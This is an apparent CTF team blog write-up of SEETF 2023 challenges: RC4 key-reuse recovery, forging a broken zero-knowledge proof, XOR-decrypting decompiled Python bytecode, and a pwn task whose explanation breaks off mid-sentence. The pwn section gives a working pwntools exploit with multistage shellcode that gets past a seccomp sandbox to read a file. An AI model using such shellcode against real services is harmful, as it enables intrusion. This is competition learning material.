Jekyll2023-08-28T12:19:49+00:00https://www.fessemisk.com/feed.xmlFesseMisk CTFFesseMisk CTF team FesseMiskSEETF 2023 - Writeup2023-06-12T00:00:00+00:002023-06-12T00:00:00+00:00https://www.fessemisk.com/writeup/seetf<p>Our team recently participated in an SEETF managed by the Singapore-based CTF team, <a href="https://ctftime.org/team/151372">Social Engineering Experts</a>. It was a hard CTF, with few solves in most tasks. We spent limited time on this CTF, and solved 8 out of 52 tasks.. The tasks we completed were enjoyable and well-designed.</p>
<h2 id="crypto-babyrc4">Crypto/🎓 BabyRC4</h2>
<h3 id="description">Description</h3>
<p>This challenge gives us a RC4-crypto python script containing outputs when the correct flag has been encrypted.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="rouge-code"><pre><span class="c1">#chall.py
</span><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">ARC4</span>
<span class="kn">from</span> <span class="nn">os</span> <span class="kn">import</span> <span class="n">urandom</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">urandom</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'SEE{?????????????????????????????????}'</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">enc</span><span class="p">(</span><span class="n">ptxt</span><span class="p">):</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">ARC4</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="k">return</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">ptxt</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"c0 = bytes.fromhex('</span><span class="si">{</span><span class="n">enc</span><span class="p">(</span><span class="n">flag</span><span class="p">).</span><span class="nb">hex</span><span class="p">()</span><span class="si">}</span><span class="s">')"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"c1 = bytes.fromhex('</span><span class="si">{</span><span class="n">enc</span><span class="p">(</span><span class="sa">b</span><span class="s">'a'</span><span class="o">*</span><span class="mi">36</span><span class="p">).</span><span class="nb">hex</span><span class="p">()</span><span class="si">}</span><span class="s">')"</span><span class="p">)</span>
<span class="s">"""
c0 = bytes.fromhex('b99665ef4329b168cc1d672dd51081b719e640286e1b0fb124403cb59ddb3cc74bda4fd85dfc')
c1 = bytes.fromhex('a5c237b6102db668ce467579c702d5af4bec7e7d4c0831e3707438a6a3c818d019d555fc')
"""</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<h3 id="solution">Solution</h3>
<p>From the code, we have total of four relevant strings, and one unknown key. We know both the plaintext and ciphertext for c1, and this can be used to find the key used to encipher c0. This can be done manually, but usually there are some codes available on GitHub that can do this for us.
<a href="https://github.com/gexxxter/RC4StaticKeyAttack/blob/master/README.md">This RC4StaticKeyAttack</a> is perfect for our challenge. In order to use this code, we need three seperate files, contaning “known plaintext”, “known encrypted plaintext”, and “unknown encrypted plaintext”. Respectively, this is “a*36”, “c1” and “c0”.</p>
<p>We first have to unhex the hex-strings in c0 and c1, before saving the results to two seperate files.
Then, running this command gives us the flag reversed:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>python rc4Cracker.py a c1.txt c0.txt
<span class="o">}</span>5382efac:s5ss5y3k_4Cr_35Uer_rEv3n<span class="o">{</span>E�_
<span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"}5382efac:s5ss5y3k_4Cr_35Uer_rEv3n{E�_"</span> | rev
_�E<span class="o">{</span>n3vEr_reU53_rC4_k3y5ss5s:cafe2835<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Flag: <strong>SEE{n3vEr_reU53_rC4_k3y5ss5s:cafe2835}</strong></p>
<h2 id="crypto-dumb-chall">Crypto/🎓 Dumb Chall</h2>
<h3 id="description-1">Description</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">bytes_to_long</span><span class="p">,</span> <span class="n">isPrime</span>
<span class="kn">from</span> <span class="nn">secret</span> <span class="kn">import</span> <span class="n">FLAG</span>
<span class="k">def</span> <span class="nf">fail</span><span class="p">():</span>
<span class="k">print</span><span class="p">(</span><span class="s">"You have disappointed the pigeon."</span><span class="p">)</span>
<span class="nb">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">generate_prime_number</span><span class="p">(</span><span class="n">bits</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="mi">128</span><span class="p">)</span> <span class="o">-></span> <span class="nb">int</span><span class="p">:</span>
<span class="n">num</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">getrandbits</span><span class="p">(</span><span class="n">bits</span><span class="p">)</span>
<span class="k">while</span> <span class="ow">not</span> <span class="n">isPrime</span><span class="p">(</span><span class="n">num</span><span class="p">):</span>
<span class="n">num</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">return</span> <span class="n">num</span>
<span class="k">def</span> <span class="nf">generate_random_boolean</span><span class="p">()</span> <span class="o">-></span> <span class="nb">bool</span><span class="p">:</span>
<span class="k">return</span> <span class="nb">bool</span><span class="p">(</span><span class="n">random</span><span class="p">.</span><span class="n">getrandbits</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">first_verify</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">C</span><span class="p">,</span> <span class="n">w</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span> <span class="o">-></span> <span class="nb">bool</span><span class="p">:</span>
<span class="k">assert</span> <span class="n">w</span>
<span class="k">return</span> <span class="p">((</span><span class="n">y</span> <span class="o">*</span> <span class="n">C</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span><span class="p">)</span> <span class="o">==</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">w</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">second_verify</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">C</span><span class="p">,</span> <span class="n">w</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span> <span class="o">-></span> <span class="nb">bool</span><span class="p">:</span>
<span class="k">assert</span> <span class="n">r</span>
<span class="k">return</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">==</span> <span class="n">C</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">generate_prime_number</span><span class="p">()</span>
<span class="n">g</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">getrandbits</span><span class="p">(</span><span class="mi">128</span><span class="p">)</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">FLAG</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>
<span class="n">y</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"p = </span><span class="si">{</span><span class="n">p</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"g = </span><span class="si">{</span><span class="n">g</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"y = </span><span class="si">{</span><span class="n">y</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Something something zero-knowledge proofs blah blah..."</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Why not just issue the challenge and the verification at the same time? Saves TCP overhead!"</span><span class="p">)</span>
<span class="n">seen_c</span> <span class="o">=</span> <span class="nb">set</span><span class="p">()</span>
<span class="k">for</span> <span class="nb">round</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">30</span><span class="p">):</span>
<span class="n">w</span><span class="p">,</span> <span class="n">r</span> <span class="o">=</span> <span class="bp">None</span><span class="p">,</span> <span class="bp">None</span>
<span class="n">choice</span> <span class="o">=</span> <span class="n">generate_random_boolean</span><span class="p">()</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">choice</span><span class="p">:</span>
<span class="n">w</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s">"Enter w: "</span><span class="p">))</span>
<span class="n">C</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s">"Enter C: "</span><span class="p">))</span>
<span class="k">if</span> <span class="n">C</span> <span class="ow">in</span> <span class="n">seen_c</span><span class="p">:</span>
<span class="n">fail</span><span class="p">()</span>
<span class="n">seen_c</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">C</span><span class="p">)</span>
<span class="n">verify</span> <span class="o">=</span> <span class="n">first_verify</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">r</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s">"Enter r: "</span><span class="p">))</span>
<span class="n">C</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s">"Enter C: "</span><span class="p">))</span>
<span class="k">if</span> <span class="n">C</span> <span class="ow">in</span> <span class="n">seen_c</span><span class="p">:</span>
<span class="n">fail</span><span class="p">()</span>
<span class="n">seen_c</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">C</span><span class="p">)</span>
<span class="n">verify</span> <span class="o">=</span> <span class="n">second_verify</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">verify</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">C</span><span class="p">,</span> <span class="n">w</span><span class="p">,</span> <span class="n">r</span><span class="p">):</span>
<span class="n">fail</span><span class="p">()</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"You passed round </span><span class="si">{</span><span class="nb">round</span> <span class="o">+</span> <span class="mi">1</span><span class="si">}</span><span class="s">."</span><span class="p">)</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span>
<span class="s">"You were more likely to get hit by lightning than proof correctly 30 times in a row, you must know the secret right?"</span>
<span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"A flag for your troubles - </span><span class="si">{</span><span class="n">FLAG</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<h3 id="solution-1">Solution</h3>
<p>From <code class="language-plaintext highlighter-rouge">main.py</code>, we can see two equations that needs to be solved in order to find r, w and c - given that we know p, g and y. This ChatGPT-made little script translates this for us. Important to note that we must provide a new c-value each time.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">random</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">inverse</span>
<span class="k">def</span> <span class="nf">calculate_w_C</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
<span class="c1"># Generate a random value for w
</span> <span class="n">w</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="c1"># Calculate C using the formula ((y * C) % p) = pow(g, w, p)
</span> <span class="n">C</span> <span class="o">=</span> <span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">w</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="n">inverse</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span>
<span class="k">return</span> <span class="n">w</span><span class="p">,</span> <span class="n">C</span>
<span class="c1"># Example usage
</span><span class="n">p</span> <span class="o">=</span> <span class="mi">138339054622480636217973886436684429447</span>
<span class="n">g</span> <span class="o">=</span> <span class="mi">187082860418021956490875773844728890046</span>
<span class="n">y</span> <span class="o">=</span> <span class="mi">63635950892574443465191557662369110480</span>
<span class="n">w</span><span class="p">,</span> <span class="n">C</span> <span class="o">=</span> <span class="n">calculate_w_C</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"w = </span><span class="si">{</span><span class="n">w</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"C = </span><span class="si">{</span><span class="n">C</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">calculate_r_C</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
<span class="c1"># Generate a random value for r
</span> <span class="n">r</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="c1"># Calculate C as pow(g, r, p)
</span> <span class="n">C</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
<span class="k">return</span> <span class="n">r</span><span class="p">,</span> <span class="n">C</span>
<span class="c1"># Example usage
#p = 62511905156902670651650359514373349527
#g = 318354074501276353109508236329421326191
#y = 43603606418406660908149360984632747011
</span>
<span class="n">r</span><span class="p">,</span> <span class="n">C</span> <span class="o">=</span> <span class="n">calculate_r_C</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"r = </span><span class="si">{</span><span class="n">r</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"C = </span><span class="si">{</span><span class="n">C</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>When sending the first w and C values, we are asked to send the w and C or r and C again. Since the solution-code uses “random.randint”, we get different solutions every time we run the code, although p, g and y are the same.</p>
<p>This way, by running the code 30 times, and sending different answers each time to the server, we are successfull.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="o">(</span>...<span class="o">)</span>
You passed round 28.
Enter w: 26653330868271923629249562507999503201
Enter C: 89748417146455869464518051899557623573
You passed round 29.
Enter r: 3172230171798229839659115946053117428
Enter C: 21233648226212261214066492576671944623
You passed round 30.
You were more likely to get hit by lightning than proof correctly 30 <span class="nb">times </span><span class="k">in </span>a row, you must know the secret right?
A flag <span class="k">for </span>your troubles - SEE<span class="o">{</span>1_571ll_h4v3_n0_kn0wl3d63<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>FLAG: <strong>SEE{1_571ll_h4v3_n0_kn0wl3d63}</strong></p>
<h2 id="rev-decompile-me">Rev/🎓 decompile-me</h2>
<p>GO DECOMPILE ME NOW!!!</p>
<h3 id="solution-2">Solution</h3>
<p>Used <a href="https://pypi.org/project/uncompyle6/">uncompyle6</a> to decompile the given bytecode. This produced the following output:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="rouge-code"><pre><span class="err">❯</span> <span class="n">uncompyle6</span> <span class="n">decompile</span><span class="o">-</span><span class="n">me</span><span class="p">.</span><span class="n">pyc</span>
<span class="c1"># uncompyle6 version 3.9.0
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0]
# Embedded file name: decompile-me.py
# Compiled at: 2023-04-24 17:58:34
# Size of source mod 2**32: 433 bytes
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">xor</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'flag.txt'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="p">(</span><span class="n">f</span><span class="p">):</span>
<span class="n">flag</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span> <span class="o">//</span> <span class="mi">3</span><span class="p">]</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">flag</span><span class="p">[</span><span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span> <span class="o">//</span> <span class="mi">3</span><span class="p">:</span><span class="mi">2</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span> <span class="o">//</span> <span class="mi">3</span><span class="p">]</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">flag</span><span class="p">[</span><span class="mi">2</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span> <span class="o">//</span> <span class="mi">3</span><span class="p">:]</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span> <span class="o">+</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">))[</span><span class="mi">1</span><span class="p">]))</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">a</span><span class="p">)</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span> <span class="o">*</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">))[</span><span class="mi">1</span><span class="p">]))</span>
<span class="n">enc</span> <span class="o">=</span> <span class="n">a</span> <span class="o">+</span> <span class="n">b</span> <span class="o">+</span> <span class="n">c</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'output.txt'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="p">(</span><span class="n">f</span><span class="p">):</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">enc</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>And here is the script to reverse this xor encryption:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">xor</span>
<span class="c1"># Load the encrypted file
</span><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'output.txt'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">enc</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="c1"># Compute lengths for different sections
</span><span class="n">enc_len</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">enc</span><span class="p">)</span>
<span class="n">third_len</span> <span class="o">=</span> <span class="n">enc_len</span> <span class="o">//</span> <span class="mi">3</span>
<span class="c1"># Split the encrypted data into thirds
</span><span class="n">a_enc</span><span class="p">,</span> <span class="n">b_enc</span><span class="p">,</span> <span class="n">c_enc</span> <span class="o">=</span> <span class="n">enc</span><span class="p">[:</span><span class="n">third_len</span><span class="p">],</span> <span class="n">enc</span><span class="p">[</span><span class="n">third_len</span><span class="p">:</span><span class="mi">2</span><span class="o">*</span><span class="n">third_len</span><span class="p">],</span> <span class="n">enc</span><span class="p">[</span><span class="mi">2</span><span class="o">*</span><span class="n">third_len</span><span class="p">:]</span>
<span class="c1"># XOR operations for decryption
</span><span class="n">c</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">c_enc</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">enc_len</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span> <span class="o">*</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">enc_len</span><span class="p">)[</span><span class="mi">1</span><span class="p">]))</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">a_enc</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>
<span class="n">a_first</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">a_enc</span><span class="p">,</span> <span class="n">xor</span><span class="p">(</span><span class="n">b_enc</span><span class="p">,</span> <span class="n">xor</span><span class="p">(</span><span class="n">c_enc</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">enc_len</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span> <span class="o">*</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">enc_len</span><span class="p">)[</span><span class="mi">1</span><span class="p">]))))</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">a_first</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">enc_len</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span> <span class="o">+</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">enc_len</span><span class="p">)[</span><span class="mi">1</span><span class="p">]))</span>
<span class="c1"># Concatenate decrypted sections
</span><span class="n">flag</span> <span class="o">=</span> <span class="n">a</span> <span class="o">+</span> <span class="n">c</span> <span class="o">+</span> <span class="n">b</span>
<span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
<span class="c1"># Save the decrypted data
</span><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'decrypted_flag.txt'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>FLAG: <strong>SEE{s1mP4l_D3c0mp1l3r_XDXD}</strong></p>
<h2 id="pwn-shellcode-as-a-service">Pwn/🎓 Shellcode As A Service</h2>
<h3 id="description-2">Description</h3>
<p>Hey, welcome to my new SaaS platform! As part of our early access program, we are offering the service for FREE. Our generous free tier gives you a whole SIX BYTES of shellcode to run on our server. What are you waiting for? Sign up now!</p>
<h3 id="solution-3">Solution</h3>
<p>The challenge provides access to a server where you can execute shellcode, limited to six bytes. However, the server restricts the system calls that can be executed using the seccomp security feature. Only the open and read system calls are allowed. The goal is to read the contents of the flag file, which requires bypassing this limitation.</p>
<p>To overcome the restriction, we will use a multistage shellcode approach. The idea is to execute a small initial shellcode that sets up the environment to read more shellcode from stdin. Let’s break down the solution step by step:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
</pre></td><td class="rouge-code"><pre><span class="c1">#!/usr/bin/python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">glob</span> <span class="kn">import</span> <span class="n">glob</span>
<span class="n">context</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">exe</span> <span class="o">=</span> <span class="s">"./chall"</span>
<span class="c1">#p = process(exe)
</span><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">([</span><span class="s">"strace"</span><span class="p">,</span><span class="n">exe</span><span class="p">])</span>
<span class="c1"># Stage 1 shellcode
</span><span class="n">sc</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"""
//read(rsi=0, rdi=rip, rdx=1000) #rcx=RIP
push rdx
pop rsi
push rax
pop rdi
syscall
"""</span>
<span class="c1"># Read flag shellcode
</span><span class="n">sc_flag</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"""
.rept 128
nop
.endr
// open("/flag", NULL)
lea rbx, [rip+flag] # load /flag [flag]
mov rax, 2
mov rdi, rbx
mov rsi, 0
syscall
// read(rax, buffer, 1000)
lea rdi, [rax] # file descriptor
lea rsi, [rip+buffer] # buffer
mov rdx, 1000 # count
mov rax, 0 # sys_read
syscall
// write(1, buffer, rax)
mov rdi, 1 # stdout
lea rsi, [rip+buffer] # buffer
mov rdx, rax # bytes read
mov rax, 1 # sys_write
syscall
flag:
.string "./flag"
buffer:
.space 1000
"""</span>
<span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">asm</span><span class="p">(</span><span class="n">sc</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">asm</span><span class="p">(</span><span class="n">sc_flag</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>This script employs a clever 6-byte shellcode that performs two important tasks: it reads additional bytes from stdin and writes them to the location where execution continues. <strong>sys.read()</strong> requires three arguments: a file descriptor, a buffer and a size value:<br />
